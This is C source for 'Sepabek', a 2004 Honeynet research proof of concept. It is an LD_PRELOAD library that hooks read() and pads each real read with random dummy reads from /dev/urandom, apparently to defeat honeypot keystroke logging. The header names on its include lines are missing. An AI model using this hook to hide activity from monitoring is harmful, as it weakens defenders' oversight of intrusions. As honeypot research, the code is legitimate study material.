/* * Sepabek proof of concept. * * Copyright (C) 2004 Philippe Biondi * French Honeynet Project * (sorry Kostya about the weak uninitialised PRNG.. it's just a PoC) * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. */ /* * gcc -D_GNU_SOURCE -shared -nostartfiles -fPIC -o sepabek.so sepabek.c -ldl */ #include #include #include #include #include #include char tmp[1024]; int f,g; static ssize_t (*p_read)(int fd, void *buf, size_t count); ssize_t read(int fd, void *buf, size_t count) { int ret,i,j,mx=sizeof(tmp); if (mx > count) mx = count; dup2(fd, g); dup2(f, fd); i = rand()&0xff; j = rand()%i; for (;i > j; i--) (*p_read)(fd, tmp, mx); dup2(g, fd); ret = (*p_read)(fd, buf, count); dup2(f, fd); for (; i > 0; i--) (*p_read)(fd, tmp, mx); dup2(g, fd); return ret; } #define LOAD(var, sym) var = dlsym(RTLD_NEXT, sym); \ if (!var) { ERROR("dlsym(" sym "): %s\n",dlerror); return; } void _init() { f = open("/dev/urandom",O_RDONLY); g = dup(f); LOAD(p_read, "read"); } void _fini() { close(f); }